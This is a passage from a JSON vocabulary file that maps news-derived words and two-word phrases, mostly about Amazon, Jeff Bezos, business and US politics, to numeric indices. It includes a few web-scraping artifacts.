\"stone decided\": 37508,\n  \"opinion comics\": 37509,\n  \"region\": 37510,\n  \"fantastic earnings\": 37511,\n  \"supermarket distribution\": 37512,\n  \"fair share\": 37513,\n  \"casone guest\": 37514,\n  \"revenue guide\": 37515,\n  \"placards\": 37516,\n  \"cheaper faster\": 37517,\n  \"stitcher tunein\": 37518,\n  \"enjoy\": 37519,\n  \"drop plans\": 37520,\n  \"toilet manufacturer\": 37521,\n  \"east greg\": 37522,\n  \"nervously watching\": 37523,\n  \"individuals thought\": 37524,\n  \"influence american\": 37525,\n  \"previous features\": 37526,\n  \"homrich\": 37527,\n  \"600 shares\": 37528,\n  \"content bezos\": 37529,\n  \"winnie\": 37530,\n  \"denver ap\": 37531,\n  \"president kyle\": 37532,\n  \"particular companies\": 37533,\n  \"unexpected\": 37534,\n  \"gang governor\": 37535,\n  \"doncheadle\": 37536,\n  \"possible exceptions\": 37537,\n  \"represents parts\": 37538,\n  \"claims related\": 37539,\n  \"way agree\": 37540,\n  \"crews alleged\": 37541,\n  \"carrey anthony\": 37542,\n  \"instagram28 pictures\": 37543,\n  \"fully baked\": 37544,\n  \"claims hacker\": 37545,\n  \"story news\": 37546,\n  \"wing theories\": 37547,\n  \"900 million\": 37548,\n  \"protesters rallied\": 37549,\n  \"friends centering\": 37550,\n  \"delivery especially\": 37551,\n  \"law limited\": 37552,\n  \"retirement music\": 37553,\n  \"unswayed\": 37554,\n  \"american enterprise\": 37555,\n  \"board margaret\": 37556,\n  \"minerals\": 37557,\n  \"subtlety\": 37558,\n  \"hooq cargo\": 37559,\n  \"animal abuser\": 37560,\n  \"french political\": 37561,\n  \"billion warren\": 37562,\n  \"nonprofit schools\": 37563,\n  \"insiders say\": 37564,\n  \"realizing\": 37565,\n  \"big new\": 37566,\n  \"interstate kelly\": 37567,\n  \"greene host\": 37568,\n  \"don make\": 37569,\n  \"meeting tomorrow\": 37570,\n  \"accountability issues\": 37571,\n  \"previously rubber\": 37572,\n  \"7ab7ujklw9 american\": 37573,\n  \"100 pages\": 37574,\n  \"service review\": 37575,\n  \"lengths city\": 37576,\n  \"elton\": 37577,\n  \"finally trump\": 37578,\n  \"carell wears\": 37579,\n  \"antitrust police\": 37580,\n  \"india face\": 37581,\n  \"machine ironically\": 37582,\n  \"quite attractive\": 37583,\n  \"taketh\": 37584,\n  \"firm cowen\": 37585,\n  \"hired chris\": 37586,\n  \"means sam\": 37587,\n  \"promotes fair\": 37588,\n  \"viewed extensive\": 37589,\n  \"powder blue\": 37590,\n  \"timothy egan\": 37591,\n  \"tony romm\": 37592,\n  \"general better\": 37593,\n  \"left consumers\": 37594,\n  \"arizona\": 37595,\n  \"morgue\": 37596,\n  \"begins clipped\": 37597,\n  \"company twitter\": 37598,\n  \"owners 2018\": 37599,\n  \"freight making\": 37600,\n  \"isn great\": 37601,\n  \"christmas sales\": 37602,\n  \"data right\": 37603,\n  \"wright tremaine\": 37604,\n  \"decker\": 37605,\n  \"547 million\": 37606,\n  \"league investors\": 37607,\n  \"digital communications\": 37608,\n  \"recklessness\": 37609,\n  \"certain fico\": 37610,\n  \"cultural stage\": 37611,\n  \"fo\": 37612,\n  \"hook\": 37613,\n  \"sweating\": 37614,\n  \"michael isikoff\": 37615,\n  \"matter say\": 37616,\n  \"hrc national\": 37617,\n  \"chase dow\": 37618,\n  \"candace center\": 37619,\n  \"dag\": 37620,\n  \"story charlie\": 37621,\n  \"mac pro\": 37622,\n  \"blocks abortion\": 37623,\n  \"association letter\": 37624,\n  \"striking than\\u0430his\": 37625,\n  \"biggest battles\": 37626,\n  \"ago analyzing\": 37627,\n  \"print run\": 37628,\n  \"d1duukadczlbnn y29uc3rydwn0b3i\": 37629,\n  \"potential outcome\": 37630,\n  \"telling current\": 37631,\n  \"newspaper propaganda\": 37632,\n  \"tall spacecraft\": 37633,\n  \"savory means\": 37634,\n  \"risks cutting\": 37635,\n  \"remains unclear\": 37636,\n  \"laws claimed\": 37637,\n  \"diluting\": 37638,\n  \"lindy\": 37639,\n  \"old case\": 37640,\n  \"long downplayed\": 37641,\n  \"edible\": 37642,\n  \"advance environmental\": 37643,\n  \"enquirer supermarket\": 37644,\n  \"moniker\": 37645,\n  \"condemning\": 37646,\n  \"key vital\": 37647,\n  \"brazil does\": 37648,\n  \"mind human\": 37649,\n  \"treasured\": 37650,\n  \"etf screens\": 37651,\n  \"swaggers\": 37652,\n  \"hexgears built\": 37653,\n  \"zurcher kantonalbank\": 37654,\n  \"old phrases\": 37655,\n  \"andover\": 37656,\n  \"device html\": 37657,\n  \"await shipment\": 37658,\n  \"second method\": 37659,\n  \"fiction drama\": 37660,\n  \"reserves\": 37661,\n  \"hole democrats\": 37662,\n  \"pharma pills\": 37663,\n  \"word grateful\": 37664,\n  \"calculus\": 37665,\n  \"wildfire power\": 37666,\n  \"shepardson san\": 37667,\n  \"markey ma\": 37668,\n  \"aut_twitter_id\": 37669,\n  \"repeal job\": 37670,\n  \"catching heat\": 37671,\n  \"trumpnation\": 37672,\n  \"new chapter\": 37673,\n  \"european wines\": 37674,\n  \"wonderfully eccentric\": 37675,\n  \"flawed heroes\": 37676,\n  \"excluding millions\": 37677,\n  \"exercise fiduciary\": 37678,\n  \"satisfy\": 37679,\n  \"offers similar\": 37680,\n  \"tax strategies\": 37681,\n  \"rosslyn\": 37682,\n  \"texts jeff\": 37683,\n  \"company using\": 37684,\n  \"china redmi\": 37685,\n  \"expanding cooperation\": 37686,\n  \"interview russian\": 37687,\n  \"democrats need\": 37688,\n  \"infrastructure agriculture\": 37689,\n  \"hey right\": 37690,\n  \"disgusting air\": 37691,\n  \"cancels hq2\": 37692,\n  \"regulatory positions\": 37693,\n  \"boss mark\": 37694,\n  \"1984\": 37695,\n  \"david mcnew\": 37696,\n  \"tupperware\": 37697,\n  \"informational purposes\": 37698,\n  \"live ideas\": 37699,\n  \"city median\": 37700,\n  \"number soaring\": 37701,\n  \"result coulter\": 37702,\n  \"1995\": 37703,\n  \"recent phone\": 37704,\n  \"syna\": 37705,\n  \"post amazon\": 37706,\n  \"counseljon fine\": 37707,\n  \"poster\": 37708,\n  \"dampens\": 37709,\n  \"ohio teens\": 37710,\n  \"news personal\": 37711,\n  \"sender\": 37712,\n  \"rico relief\": 37713,\n  \"us52\": 37714,\n  \"zweig\": 37715,\n  \"shonda rhimes\": 37716,\n  \"fellow california\": 37717,\n  \"netflix street\": 37718,\n  \"fla ap\": 37719,\n  \"demand employees\": 37720,\n  \"angle advanced\": 37721,\n  \"amazon brave\": 37722,\n  \"gaap\": 37723,\n  \"drummers article37880097\": 37724,\n  \"contest\": 37725,\n  \"prominent policymakers\": 37726,\n  \"disseminating dsaster\": 37727,\n  \"certainly expected\": 37728,\n  \"transparency reports\": 37729,\n  \"generated billion\": 37730,\n  \"subsidiary disappear\": 37731,\n  \"mic daily\": 37732,\n  \"virtual machines\": 37733,\n  \"national military\": 37734,\n  \"prime cause\": 37735,\n  \"later apologized\": 37736,\n  \"definitely failed\": 37737,\n  \"deforestation rates\": 37738,\n  \"tariff discussions\": 37739,\n  \"recognition systems\": 37740,\n  \"origin takes\": 37741,\n  \"jewish state\": 37742,\n  \"weapons amazon\": 37743,\n  \"convicts\": 37744,\n  \"scottish football\": 37745,\n  \"intrigues suggested\": 37746,\n  \"courted\": 37747,\n  \"company public\": 37748,\n  \"person approaches\": 37749,\n  \"promising partnership\": 37750,\n  \"hold steady\": 37751,\n  \"operating loss\": 37752,\n  \"correct false\": 37753,\n  \"riding date\": 37754,\n  \"policy rate\": 37755,\n  \"twitters\": 37756,\n  \"mgnx sgn\": 37757,\n  \"billion defence\": 37758,\n  \"companies john\": 37759,\n  \"greenpeace\": 37760,\n  \"cognize\": 37761,\n  \"committee pac\": 37762,\n  \"waste unleashed\": 37763,\n  \"joshua\": 37764,\n  \"classroom closet\": 37765,\n  \"reviewed usps\": 37766,\n  \"horribly fallacious\": 37767,\n  \"conflict later\": 37768,\n  \"plaintiff\": 37769,\n  \"pending overview\": 37770,\n  \"tags society\": 37771,\n  \"company trump\": 37772,\n  \"dj admits\": 37773,\n  \"delivery businesses\": 37774,\n  \"poses direct\": 37775,\n  \"push button\": 37776,\n  \"delivers amazon\": 37777,\n  \"affair broke\": 37778,\n  \"staff spent\": 37779,\n  \"redistricting case\": 37780,\n  \"tough times\": 37781,\n  \"border enterprise\": 37782,\n  \"abundantly\": 37783,\n  \"russia michael\": 37784,\n  \"longhairs\": 37785,\n  \"vc investment\": 37786,\n  \"company virginia\": 37787,\n  \"discredit newspaper\": 37788,\n  \"messes\": 37789,\n  \"117 506\": 37790,\n  \"indigenous reserve\": 37791,\n  \"candy spot\": 37792,\n  \"prime sellers\": 37793,\n  \"getting better\": 37794,\n  \"close day\": 37795,\n  \"taxes amazon\": 37796,\n  \"death alongside\": 37797,\n  \"firing underscores\": 37798,\n  \"charlotte institution\": 37799,\n  \"issuing hunting\": 37800,\n  \"greensfelder hemker\": 37801,\n  \"gms guidance\": 37802,\n  \"smith notes\": 37803,\n  \"breaking records\": 37804,\n  \"mccauley\": 37805,\n  \"lady liberty\": 37806,\n  \"impact key\": 37807,\n  \"night birthweek\": 37808,\n  \"laura martin\": 37809,\n  \"echo 2nd\": 37810,\n  \"helped shape\": 37811,\n  \"biennial\": 37812,\n  \"instinctively sympathise\": 37813,\n  \"sanchez hacked\": 37814,\n  \"represents america\": 37815,\n  \"fb workers\": 37816,\n  \"growers multi\": 37817,\n  \"amazon continue\": 37818,\n  \"force makes\": 37819,\n  \"chief ownership\": 37820,\n  \"embracing capitalism\": 37821,\n  \"extortion attempt\": 37822,\n  \"political dynasty\": 37823,\n  \"51st\": 37824,\n  \"collective security\": 37825,\n  \"reintegrate retirees\": 37826,\n  \"complained repeatedly\": 37827,\n  \"jeffbozo\": 37828,\n  \"likewise runs\": 37829,\n  \"businesses bigger\": 37830,\n  \"represents silicon\": 37831,\n  \"life cases\": 37832,\n  \"individual wealth\": 37833,\n  \"apple jobs\": 37834,\n  \"affected include\": 37835,\n  \"transporting groceries\": 37836,\n  \"richest individual\": 37837,\n  \"unpublished works\": 37838,\n  \"potential acquisitions\": 37839,\n  \"week news\": 37840,\n  \"anusak\": 37841,\n  \"political dimension\": 37842,\n  \"queens headquarters\": 37843,\n  \"hear whatcomes\": 37844,\n  \"pecker previous\": 37845,\n  \"reportedly suggested\": 37846,\n  \"health shed\": 37847,\n  \"scrutinizing amazon\": 37848,\n  \"including tech\": 37849,\n  \"rwdsu\": 37850,\n  \"pecking\": 37851,\n  \"excellent sheets\": 37852,\n  \"short film\": 37853,\n  \"walmart entry\": 37854,\n  \"brought rebellion\": 37855,\n  \"demanding hearings\": 37856,\n  \"phi\": 37857,\n  \"formed venture\": 37858,\n  \"offer consumers\": 37859,\n  \"dampen demand\": 37860,\n  \"versus pricing\": 37861,\n  \"zegers\": 37862,\n  \"allows young\": 37863,\n  \"grew alongside\": 37864,\n  \"bezos tells\": 37865,\n  \"new partner\": 37866,\n  \"inserted\": 37867,\n  \"ben shapiro\": 37868,\n  \"billionaire relationship\": 37869,\n  \"awkward clinically\": 37870,\n  \"corp msft\": 37871,\n  \"raunchy\": 37872,\n  \"clothes child\": 37873,\n  \"viii right\": 37874,\n  \"says guggenheims\": 37875,\n  \"editor monica\": 37876,\n  \"residential building\": 37877,\n  \"deal absolutely\": 37878,\n  \"electronic\": 37879,\n  \"commission danner\": 37880,\n  \"initiatives leadership\": 37881,\n  \"galloway added\": 37882,\n  \"803\": 37883,\n  \"retain control\": 37884,\n  \"netflix beginning\": 37885,\n  \"stores user\": 37886,\n  \"enrich\": 37887,\n  \"thought new\": 37888,\n  \"designating cio\": 37889,\n  \"law thankfully\": 37890,\n  \"essential services\": 37891,\n  \"ntnx\": 37892,\n  \"proposal stating\": 37893,\n  \"beat overall\": 37894,\n  \"image jair\": 37895,\n  \"concerned bezos\": 37896,\n  \"local effects\": 37897,\n  \"goals little\": 37898,\n  \"packaging giant\": 37899,\n  \"stifled\": 37900,\n  \"insured deposits\": 37901,\n  \"bud\": 37902,\n  \"loosen\": 37903,\n  \"philippine journalist\": 37904,\n  \"convince new\": 37905,\n  \"desired outcome\": 37906,\n  \"patent portfolios\": 37907,\n  \"burpp mafia\": 37908,\n  \"group indicts\": 37909,\n  \"swetnick\": 37910,\n  \"innocent algorithmic\": 37911,\n  \"world headquarters\": 37912,\n  \"letting amazon\": 37913,\n  \"improve working\": 37914,\n  \"pedigree starting\": 37915,\n  \"current exchange\": 37916,\n  \"lam research\": 37917,\n  \"crude rallied\": 37918,\n  \"nyc commuter\": 37919,\n  \"application services\": 37920,\n  \"giant rusal\": 37921,\n  \"reading numbers\": 37922,\n  \"tax funding\": 37923,\n  \"wikileaks supported\": 37924,\n  \"positive relationship\": 37925,\n  \"times responding\": 37926,\n  \"cnnvideoapiloadcompletehandlers window\": 37927,\n  \"term economic\": 37928,\n  \"moneyweb original\": 37929,\n  \"publicly stated\": 37930,\n  \"major limitations\": 37931,\n  \"red android\": 37932,\n  \"income companies\": 37933,\n  \"editions trump\": 37934,\n  \"welcome push\": 37935,\n  \"federal efforts\": 37936,\n  \"second year\": 37937,\n  \"messitte\": 37938,\n  \"sewn\": 37939,\n  \"equity management\": 37940,\n  \"new series\": 37941,\n  \"jabbar\": 37942,\n  \"smaller acquisition\": 37943,\n  \"asking respondents\": 37944,\n  \"yes really\": 37945,\n  \"face dilemmas\": 37946,\n  \"revolutionized retail\": 37947,\n  \"televised press\": 37948,\n  \"2018 says\": 37949,\n  \"built artifacts\": 37950,\n  \"myth\": 37951,\n  \"market juul\": 37952,\n  \"boeing pushed\": 37953,\n  \"morris international\": 37954,\n  \"blast trump\": 37955,\n  \"mortgage category\": 37956,\n  \"america largest\": 37957,\n  \"bezos stares\": 37958,\n  \"location\": 37959,\n  \"suppliers trump\": 37960,\n  \"trump plays\": 37961,\n  \"land rights\": 37962,\n  \"beer stock\": 37963,\n  \"stated critics\": 37964,\n  \"grabs include\": 37965,\n  \"similar pratfall\": 37966,\n  \"100 gizmos\": 37967,\n  \"algo\": 37968,\n  \"dave kovic\": 37969,\n  \"macron europe\": 37970,\n  \"ordinary people\": 37971,\n  \"payments track\": 37972,\n  \"company palantir\": 37973,\n  \"o4 function\": 37974,\n  \"niki\": 37975,\n  \"desk tackled\": 37976,\n  \"fentanyl particularly\": 37977,\n  \"consomm\\u00e9\": 37978,\n  \"deliver fresh\": 37979,\n  \"finding safe\": 37980,\n  \"bieber eating\": 37981,\n  \"mission kind\": 37982,\n  \"center workers\": 37983,\n  \"4024 kingston\": 37984,\n  \"winner spokesperson\": 37985,\n  \"national attending\": 37986,\n  \"member jimmy\": 37987,\n  \"validation\": 37988,\n  \"air worldwide\": 37989,\n  \"increasing annual\": 37990,\n  \"speech left\": 37991,\n  \"chain researcher\": 37992,\n  \"demanded answers\": 37993,\n  \"know microsoft\": 37994,\n  \"senate vote\": 37995,\n  \"enquirer ended\": 37996,\n  \"nickname presumably\": 37997,\n  \"single people\": 37998,\n  \"deregulatory economic\": 37999,\n  \"just tech\": 38000,\n  \"weep oracle\": 38001,\n  \"etf closed\": 38002,\n  \"city nearly\": 38003,\n  \"car rentals\": 38004,\n  \"shooting informal\": 38005,\n  \"nyse aol\": 38006,\n  \"intentionally misspelling\": 38007,\n  \"activity wh\": 38008,\n  \"bezos girlfriend\": 38009,\n  \"right justin\": 38010,\n  \"uk users\": 38011,\n  \"area site\": 38012,\n  \"news conference\": 38013,\n  \"explore options\": 38014,\n  \"frost _heatherfrost\": 38015,\n  \"dependence program\": 38016,\n  \"lobbying congress\": 38017,\n  \"logistical support\": 38018,\n  \"content download\": 38019,\n  \"nj stephens\": 38020,\n  \"continues bork\": 38021,\n  \"know affected\": 38022,\n  \"competitors products\": 38023,\n  \"whales trapped\": 38024,\n  \"tire\": 38025,\n  \"apple leading\": 38026,\n  \"manager roger\": 38027,\n  \"additional instances\": 38028,\n  \"customs service\": 38029,\n  \"ambitious\": 38030,\n  \"libertarian says\": 38031,\n  \"z1 a4ee\": 38032,\n  \"historical cases\": 38033,\n  \"nvidiahttps\": 38034,\n  \"mullaney argues\": 38035,\n  \"lose credibility\": 38036,\n  \"ti\": 38037,\n  \"ip captured\": 38038,\n  \"donor\": 38039,\n  \"ngo stated\": 38040,\n  \"lafayette louisiana\": 38041,\n  \"spotify rob\": 38042,\n  \"focus chat\": 38043,\n  \"senator kevin\": 38044,\n  \"short space\": 38045,\n  \"create marketplaces\": 38046,\n  \"amazon employee\": 38047,\n  \"say make\": 38048,\n  \"potentially inverting\": 38049,\n  \"policies according\": 38050,\n  \"270 seat\": 38051,\n  \"herbicides geoengineering\": 38052,\n  \"employee diversity\": 38053,\n  \"dark halfway\": 38054,\n  \"government face\": 38055,\n  \"alexa terrifying\": 38056,\n  \"inventions\": 38057,\n  \"alexa user\": 38058,\n  \"oil production\": 38059,\n  \"spanish class\": 38060,\n  \"sketch opened\": 38061,\n  \"association aafa\": 38062,\n  \"funds plus\": 38063,\n  \"old suspect\": 38064,\n  \"modern business\": 38065,\n  \"dynamic economy\": 38066,\n  \"carriers necessary\": 38067,\n  \"athletic\": 38068,\n  \"boss using\": 38069,\n  \"paid zach\": 38070,\n  \"fine herera\": 38071,\n  \"conservative politicians\": 38072,\n  \"company concludes\": 38073,\n  \"mycio\": 38074,\n  \"expanded podcasting\": 38075,\n  \"carstensen\": 38076,\n  \"allegations potentially\": 38077,\n  \"seizes fake\": 38078,\n  \"wilson founder\": 38079,\n  \"connection isn\": 38080,\n  \"sortorder authorhash\": 38081,\n  \"uk employees\": 38082,\n  \"wrote chukumba\": 38083,\n  \"vandermey\": 38084,\n  \"short time\": 38085,\n  \"vineeta deepak\": 38086,\n  \"outlooks\": 38087,\n  \"sen mitt\": 38088,\n  \"avoiding trump\": 38089,\n  \"machine studying\": 38090,\n  \"facebook mark\": 38091,\n  \"doesn discriminate\": 38092,\n  \"kamm\": 38093,\n  \"insider flagship\": 38094,\n  \"hollywood hills\": 38095,\n  \"subtlety apparently\": 38096,\n  \"developing wawx\": 38097,\n  \"life horror\": 38098,\n  \"epstein related\": 38099,\n  \"latest issue\": 38100,\n  \"electrical\": 38101,\n  \"completed sites\": 38102,\n  \"fbi investigations\": 38103,\n  \"payout plan\": 38104,\n  \"important carbon\": 38105,\n  \"company knows\": 38106,\n  \"jenkins\": 38107,\n  \"savvy\": 38108,\n  \"254\": 38109,\n  \"harris interactive\": 38110,\n  \"service united\": 38111,\n  \"deliver emergency\": 38112,\n  \"demarcations\": 38113,\n  \"196000 jobs\": 38114,\n  \"inviting\": 38115,\n  \"cortez reacted\": 38116,\n  \"core functions\": 38117,\n  \"firm hired\": 38118,\n  \"amazon curated\": 38119,\n  \"dynasty\": 38120,\n  \"talk radio\": 38121,\n  \"apos pizza\": 38122,\n  \"ambassador haley\": 38123,\n  \"ebay facebook\": 38124,\n  \"doors gabriel\": 38125,\n  \"anchor amazon\": 38126,\n  \"hand accounts\": 38127,\n  \"new trends\": 38128,\n  \"denies wrongdoing\": 38129,\n  \"recently dogged\": 38130,\n  \"2018 election\": 38131,\n  \"mega agency\": 38132,\n  \"avoid years\": 38133,\n  \"500 stocks\": 38134,\n  \"attendant\": 38135,\n  \"loyal customers\": 38136,\n  \"government declared\": 38137,\n  \"laws comply\": 38138,\n  \"cla\": 38139,\n  \"underway battle\": 38140,\n  \"weighs tax\": 38141,\n  \"british diver\": 38142,\n  \"versions\": 38143,\n  \"pre written\": 38144,\n  \"adriano espaillat\": 38145,\n  \"obamas 2016\": 38146,\n  \"levy gray\": 38147,\n  \"signed memo\": 38148,\n  \"agreement trump\": 38149,\n  \"government auditors\": 38150,\n  \"creating special\": 38151,\n  \"later contradicted\": 38152,\n  \"fedex cmo\": 38153,\n  \"irs issues\": 38154,\n  \"credit lines\": 38155,\n  \"arts plunged\": 38156,\n  \"low mail\": 38157,\n  \"accusation previously\": 38158,\n  \"bezos strives\": 38159,\n  \"states democracy\": 38160,\n  \"wasobstructing\": 38161,\n  \"party cookbook\": 38162,\n  \"families mary\": 38163,\n  \"pursued expanding\": 38164,\n  \"allen hemberger\": 38165,\n  \"subsections money\": 38166,\n  \"publisher reportedly\": 38167,\n  \"melissa mathison\": 38168,\n  \"privileges\": 38169,\n  \"outstanding tickets\": 38170,\n  \"point criminal\": 38171,\n  \"articleelem jquery\": 38172,\n  \"upward pressure\": 38173,\n  \"fiercely\": 38174,\n  \"globalization\": 38175,\n  \"expansion hugh\": 38176,\n  \"100vw\": 38177,\n  \"content partnership\": 38178,\n  \"room furniture\": 38179,\n  \"including jackie\": 38180,\n  \"agency rates\": 38181,\n  \"sun hats\": 38182,\n  \"investment law\": 38183,\n  \"included preschool\": 38184,\n  \"smooth ride\": 38185,\n  \"extra level\": 38186,\n  \"mgongloff1 bloomberg\": 38187,\n  \"causes everybody\": 38188,\n  \"examining companies\": 38189,\n  \"teachers raises\": 38190,\n  \"dns overseer\": 38191,\n  \"spikes\": 38192,\n  \"kits drugs\": 38193,\n  \"benefiting\": 38194,\n  \"delayed earlier\": 38195,\n  \"megasale sun\": 38196,\n  \"compulsive focus\": 38197,\n  \"plans donny\": 38198,\n  \"christian\": 38199,\n  \"cnn wire\": 38200,\n  \"significance\": 38201,\n  \"military service\": 38202,\n  \"virginia slave\": 38203,\n  \"key tell\": 38204,\n  \"burke\": 38205,\n  \"know 150\": 38206,\n  \"eye duncan\": 38207,\n  \"backlash vietnamese\": 38208,\n  \"habits people\": 38209,\n  \"strategy worldwide\": 38210,\n  \"desantis\": 38211,\n  \"writes doug\": 38212,\n  \"hashmi sirajahashmi\": 38213,\n  \"chinese buyers\": 38214,\n  \"huge problems\": 38215,\n  \"senate deputy\": 38216,\n  \"descriptiontext airbnb\": 38217,\n  \"used private\": 38218,\n  \"owns\": 38219,\n  \"reads vermont\": 38220,\n  \"entrepreneurs start\": 38221,\n  \"urging twitter\": 38222,\n  \"beloved border\": 38223,\n  \"carmaker\": 38224,\n  \"content pioneer\": 38225,\n  \"unlikely turnaround\": 38226,\n  \"animal sounds\": 38227,\n  \"amazon strategy\": 38228,\n  \"major transportation\": 38229,\n  \"technology mu\": 38230,\n  \"banks obviously\": 38231,\n  \"conservative events\": 38232,\n  \"gubernatorial races\": 38233,\n  \"second american\": 38234,\n  \"method netflix\": 38235,\n  \"schmuck\": 38236,\n  \"know roger\": 38237,\n  \"isstill\": 38238,\n  \"difficult days\": 38239,\n  \"amazon spat\": 38240,\n  \"billkristol\": 38241,\n  \"amazon feat\": 38242,\n  \"convention planks\": 38243,\n  \"atlanta\": 38244,\n  \"month little\": 38245,\n  \"membership fee\": 38246,\n  \"vertically\": 38247,\n  \"hacking britons\": 38248,\n  \"businesses farmers\": 38249,\n  \"impediments\": 38250,\n  \"aws presents\": 38251,\n  \"trump girds\": 38252,\n  \"cloud certifications\": 38253,\n  \"competing possible\": 38254,\n  \"business actually\": 38255,\n  \"deadline ___\": 38256,\n  \"netflix american\": 38257,\n  \"sport additionally\": 38258,\n  \"american industry\": 38259,\n  \"dw editors\": 38260,\n  \"football dominant\": 38261,\n  \"situation adding\": 38262,\n  \"actively talking\": 38263,\n  \"digital transformation\": 38264,\n  \"multiply accused\": 38265,\n  \"venom\": 38266,\n  \"inspiration quote\": 38267,\n  \"actually changed\": 38268,\n  \"chadra levy\": 38269,\n  \"wages barely\": 38270,\n  \"enterprises socialist\": 38271,\n  \"health issues\": 38272,\n  \"biz watch\": 38273,\n  \"despite wearing\": 38274,\n  \"new antifraud\": 38275,\n  \"effectively wage\": 38276,\n  \"ic function\": 38277,\n  \"michael malbin\": 38278,\n  \"blackstone\": 38279,\n  \"took moment\": 38280,\n  \"hired investigator\": 38281,\n  \"ba wasn\": 38282,\n  \"taste buds\": 38283,\n  \"woman suv\": 38284,\n  \"angie coiro\": 38285,\n  \"1960\": 38286,\n  \"sounds weird\": 38287,\n  \"hardship reporting\": 38288,\n  \"president asserted\": 38289,\n  \"manage outreach\": 38290,\n  \"actually transform\": 38291,\n  \"passed fix\": 38292,\n  \"skewered\": 38293,\n  \"historically low\": 38294,\n  \"workers tony\": 38295,\n  \"swamp unfortunately\": 38296,\n  \"vibes surrounding\": 38297,\n  \"ben lefebvre\": 38298,\n  \"otcmkts eevvf\": 38299,\n  \"frank house\": 38300,\n  \"american council\": 38301,\n  \"noble books\": 38302,\n  \"based lenovo\": 38303,\n  \"election wave\": 38304,\n  \"decades realize\": 38305,\n  \"county promised\": 38306,\n  \"gaap operating\": 38307,\n  \"time lows\": 38308,\n  \"intentions\": 38309,\n  \"abortion centers\": 38310,\n  \"improve personalization\": 38311,\n  \"em contagion\": 38312,\n  \"government organisation\": 38313,\n  \"000 positions\": 38314,\n  \"app cozi\": 38315,\n  \"professionals tell\": 38316,\n  \"tsxv mcld\": 38317,\n  \"people wearing\": 38318,\n  \"keys transform\": 38319,\n  \"andrew napolitano\": 38320,\n  \"irish companies\": 38321,\n  \"aws facial\": 38322,\n  \"market bears\": 38323,\n  \"person directly\": 38324,\n  \"government power\": 38325,\n  \"means owns\": 38326,\n  \"business abroad\": 38327,\n  \"yorkers actually\": 38328,\n  \"enlarge amazon\": 38329,\n  \"billmurphyjr\": 38330,\n  \"radios\": 38331,\n  \"calculates\": 38332,\n  \"love fest\": 38333,\n  \"government helps\": 38334,\n  \"express global\": 38335,\n  \"market intelligence\": 38336,\n  \"pessimists\": 38337,\n  \"refuted\": 38338,\n  \"trademark cases\": 38339,\n  \"swift passage\": 38340,\n  \"volkswagen\": 38341,\n  \"today community\": 38342,\n  \"twisty\": 38343,\n  \"twitter thegrtrecession\": 38344,\n  \"stenhouse vice\": 38345,\n  \"plagiarism spokesman\": 38346,\n  \"msft wounds\": 38347,\n  \"photos frida\": 38348,\n  \"connecticut says\": 38349,\n  \"thomas check\": 38350,\n  \"publicity transfer\": 38351,\n  \"bezos tremendous\": 38352,\n  \"david cay\": 38353,\n  \"larger battle\": 38354,\n  \"charges usps\": 38355,\n  \"effectively vouching\": 38356,\n  \"amazon finished\": 38357,\n  \"tm\": 38358,\n  \"lowest close\": 38359,\n  \"billionaire howard\": 38360,\n  \"monica\": 38361,\n  \"michael kelly\": 38362,\n  \"dzubow\": 38363,\n  \"calling maze\": 38364,\n  \"waving daintily\": 38365,\n  \"var t5\": 38366,\n  \"canadian exposure\": 38367,\n  \"boycottwalmart istandwithtrump\": 38368,\n  \"japanese english\": 38369,\n  \"tech accessories\": 38370,\n  \"deal climate\": 38371,\n  \"city manager\": 38372,\n  \"westchester county\": 38373,\n  \"apps designed\": 38374,\n  \"declared amazon\": 38375,\n  \"quince\": 38376,\n  \"darrah\": 38377,\n  \"2018 mid\": 38378,\n  \"repress estimated\": 38379,\n  \"assistant smarter\": 38380,\n  \"longer confined\": 38381,\n  \"chinese competitors\": 38382,\n  \"filings jeff\": 38383,\n  \"interlude\": 38384,\n  \"remains fluid\": 38385,\n  \"worksharing\": 38386,\n  \"starr investigation\": 38387,\n  \"victories\": 38388,\n  \"expected net\": 38389,\n  \"great obsession\": 38390,\n  \"unless make\": 38391,\n  \"retailers basically\": 38392,\n  \"harm nys\": 38393,\n  \"midweek\": 38394,\n  \"julia carrie\": 38395,\n  \"staff secretary\": 38396,\n  \"rigged\": 38397,\n  \"deforestation drivers\": 38398,\n  \"week showed\": 38399,\n  \"did skit\": 38400,\n  \"great opportunity\": 38401,\n  \"commercial opportunity\": 38402,\n  \"journal falling\": 38403,\n  \"mistake repeated\": 38404,\n  \"widely speculated\": 38405,\n  \"commercial internet\": 38406,\n  \"making monthly\": 38407,\n  \"chang 415\": 38408,\n  \"leftovers jordi\": 38409,\n  \"stelter brings\": 38410,\n  \"told press\": 38411,\n  \"match amazon\": 38412,\n  \"makes extortion\": 38413,\n  \"department released\": 38414,\n  \"running post\": 38415,\n  \"tariffs late\": 38416,\n  \"terrace whitestone\": 38417,\n  \"shout\": 38418,\n  \"coders\": 38419,\n  \"house denials\": 38420,\n  \"access read\": 38421,\n  \"photo tells\": 38422,\n  \"naivet\\u00e9\": 38423,\n  \"media lowlifes\": 38424,\n  \"hottest products\": 38425,\n  \"mariah carey\": 38426,\n  \"coppola\": 38427,\n  \"companies named\": 38428,\n  \"distorted trump\": 38429,\n  \"individual american\": 38430,\n  \"pressure analyst\": 38431,\n  \"act impulsively\": 38432,\n  \"innovating ways\": 38433,\n  \"active measures\": 38434,\n  \"spend time\": 38435,\n  \"joins amazon\": 38436,\n  \"possible violation\": 38437,\n  \"involvement whatsoever\": 38438,\n  \"takes overtly\": 38439,\n  \"report helped\": 38440,\n  \"gender equality\": 38441,\n  \"paper acts\": 38442,\n  \"account compromise\": 38443,\n  \"6g technology\": 38444,\n  \"leads order\": 38445,\n  \"heard round\": 38446,\n  \"easley photos\": 38447,\n  \"cate blanchett\": 38448,\n  \"pay safety\": 38449,\n  \"series starts\": 38450,\n  \"imazon correlates\": 38451,\n  \"facebook opened\": 38452,\n  \"travel photographer\": 38453,\n  \"mussels examined\": 38454,\n  \"election result\": 38455,\n  \"quite policy\": 38456,\n  \"discrimination significantly\": 38457,\n  \"board nlrb\": 38458,\n  \"lyin ted\": 38459,\n  \"service kavanaugh\": 38460,\n  \"9400\": 38461,\n  \"frugal company\": 38462,\n  \"sul tereza\": 38463,\n  \"foreign dramas\": 38464,\n  \"wynn18 jan\": 38465,\n  \"214 point\": 38466,\n  \"liability regarding\": 38467,\n  \"new dow\": 38468,\n  \"joining sheldon\": 38469,\n  \"bezos flood\": 38470,\n  \"correspondent charles\": 38471,\n  \"sandick\": 38472,\n  \"missile site\": 38473,\n  \"ministers resigned\": 38474,\n  \"snakes culp\": 38475,\n  \"flat year\": 38476,\n  \"prior years\": 38477,\n  \"picture 